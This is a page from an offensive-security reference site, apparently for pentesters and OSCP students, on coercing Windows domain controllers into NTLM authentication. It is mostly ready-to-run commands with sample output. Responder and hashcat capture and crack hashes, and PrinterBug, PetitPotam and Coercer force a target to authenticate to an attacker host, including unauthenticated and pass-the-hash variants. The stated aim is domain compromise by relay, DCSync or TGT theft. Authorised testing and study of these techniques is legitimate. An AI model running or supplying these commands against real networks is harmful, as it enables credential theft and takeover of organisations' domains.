# Coercion Attacks in Active Directory

> Exploiting Windows authentication coercion techniques to capture or relay NTLM credentials via protocols like MS-RPRN, MS-EFSRPC, and PetitPotam.

- **URL:** https://hackindex.io/platforms/active-directory/exploitation/ad-coercion-attacks
- **Path:** Active Directory > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/active-directory/exploitation.md)
- **Published:** 2026-04-30
- **Updated:** 2026-08-11

Coercion attacks abuse Windows RPC protocols to force a target machine to authenticate outbound to a host you control. The authentication arrives as an NTLM challenge, which can be relayed to another service or captured and cracked offline. Coercing a domain controller is the most valuable target: its machine account hash can be used for DCSync, and a relay to LDAP or ADCS yields immediate domain compromise.

Coercion is the trigger. The impact depends on what you do with the arriving authentication: relay it with ntlmrelayx, capture it with Responder, or receive it on an unconstrained delegation host to extract a TGT.

## AD coercion attack methods

The main RPC protocols abused for coercion in Active Directory:

- MS-RPRN (PrinterBug): triggers via Print Spooler, requires valid domain credentials
- MS-EFSR (PetitPotam): works unauthenticated on unpatched hosts, authenticated on patched
- MS-FSRVP: File Server VSS Agent, less common but supported by Coercer
- MS-DFSNM: DFS namespace management, another Coercer-supported vector

## Capture arriving hashes with Responder

> [!WARNING]
> This tool is prohibited in the OSCP exam. Responder performs LLMNR/NBT-NS/NBNS spoofing, which is explicitly listed as a prohibited technique in the OSCP exam guide. Do not use during exam environments.

When the goal is hash capture rather than relay, start Responder before triggering coercion. Responder poisons LLMNR, NBT-NS, and mDNS to intercept authentication from any host on the segment, and also listens directly for coerced connections.

**Start Responder for hash capture**

```bash
# Listen on interface: captures NTLM hashes from coerced authentication
responder -I eth0 -v

# Captured hashes appear in /usr/share/responder/logs/
ls /usr/share/responder/logs/

# Crack captured NTLMv2 hash
hashcat -m 5600 /usr/share/responder/logs/SMB-NTLMv2-*.txt /usr/share/wordlists/rockyou.txt
# [SMB] NTLMv2-SSP Hash: DC01$::CORP:a1b2c3d4e5f6:...
```

When using Responder alongside ntlmrelayx, disable SMB and HTTP listeners in Responder so ntlmrelayx can receive the connections instead. Edit `/usr/share/responder/Responder.conf` and set `SMB = Off` and `HTTP = Off` before starting Responder. See [NTLM Relay](https://hackindex.io/platforms/active-directory/exploitation/ad-ntlm-relay) for the relay workflow.

## PrinterBug: MS-RPRN coercion

The Print Spooler service exposes an RPC method that forces the target to authenticate to an arbitrary host. It requires the Print Spooler service to be running on the target and any valid domain credentials to trigger. Works against DCs running Spooler: common on older environments.

**Check if Print Spooler is running**

```bash
# Confirm Spooler is active on target before attempting
nxc smb $TARGET_IP -u $USER -p $PASSWORD -M spooler
# SMB  10.10.10.10  445  DC01  [+] Spooler service enabled on DC01
```

**PrinterBug coercion**

```bash
# printerbug.py is part of the dirkjanm/krbrelayx toolset
# Clone: git clone https://github.com/dirkjanm/krbrelayx

python3 printerbug.py $DOMAIN/$USER:$PASSWORD@$TARGET_IP $LHOST

# Pass-the-Hash
python3 printerbug.py -hashes :$NTHASH $DOMAIN/$USER@$TARGET_IP $LHOST
# [*] Triggering authentication via MS-RPRN RpcRemoteFindFirstPrinterChangeNotification...
# [*] Connecting to ncacn_np:10.10.10.10[\pipe\spoolss]
# [+] Triggered RPC call - incoming authentication expected on 10.10.10.20
```

## PetitPotam: MS-EFSR coercion

PetitPotam abuses the MS-EFSR protocol (Encrypting File System Remote) to force authentication. The unauthenticated variant works on unpatched targets. The authenticated variant requires valid credentials but works on patched systems where unauthenticated EFSR is blocked.

**PetitPotam coercion**

```bash
# Clone: git clone https://github.com/topotam/PetitPotam

# Unauthenticated: works on unpatched targets
python3 PetitPotam.py $LHOST $TARGET_IP

# Authenticated: works on patched targets
python3 PetitPotam.py -u $USER -p $PASSWORD -d $DOMAIN $LHOST $TARGET_IP

# Pass-the-Hash
python3 PetitPotam.py -u $USER -hashes :$NTHASH -d $DOMAIN $LHOST $TARGET_IP
# [+] Sending auth request
# [+] Triggered RPC call - incoming authentication expected on 10.10.10.20
```

## Coercer: multi-protocol coercion

Coercer wraps multiple coercion techniques including MS-RPRN, MS-EFSR, MS-FSRVP, and MS-DFSNM into a single tool. Use `scan` to identify which methods work against the target before triggering, then `coerce` to execute.

**Coercer scan and coerce**

```bash
# Scan target for available coercion methods
coercer scan -t $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN

# Coerce authentication toward your host
coercer coerce -l $LHOST -t $TARGET_IP -u $USER -p $PASSWORD -d $DOMAIN

# Pass-the-Hash
coercer coerce -l $LHOST -t $TARGET_IP -u $USER --hashes :$NTHASH -d $DOMAIN
# [+] MS-RPRN: RpcRemoteFindFirstPrinterChangeNotification - success
# [+] MS-EFSR: EfsRpcOpenFileRaw - success
# [+] Incoming authentication expected on 10.10.10.20
```

Once authentication arrives at your host, the next action depends on your setup. Responder captures it for offline cracking. ntlmrelayx forwards it to a target service: see [NTLM Relay](https://hackindex.io/platforms/active-directory/exploitation/ad-ntlm-relay) for relay targets and setup. An unconstrained delegation host receives it as a full TGT: see [Kerberos Abuse](https://hackindex.io/platforms/active-directory/privilege-escalation/kerberos-abuse-privilege-escalation) for TGT extraction from that context.

## References

- [krbrelayx: dirkjanm GitHub](https://github.com/dirkjanm/krbrelayx) - printerbug.py MS-RPRN coercion tool
- [PetitPotam: GitHub](https://github.com/topotam/PetitPotam) - MS-EFSR coercion, authenticated and unauthenticated variants
- [Coercer: GitHub](https://github.com/p0dalirius/Coercer) - Multi-protocol coercion covering MS-RPRN, MS-EFSR, MS-FSRVP, MS-DFSNM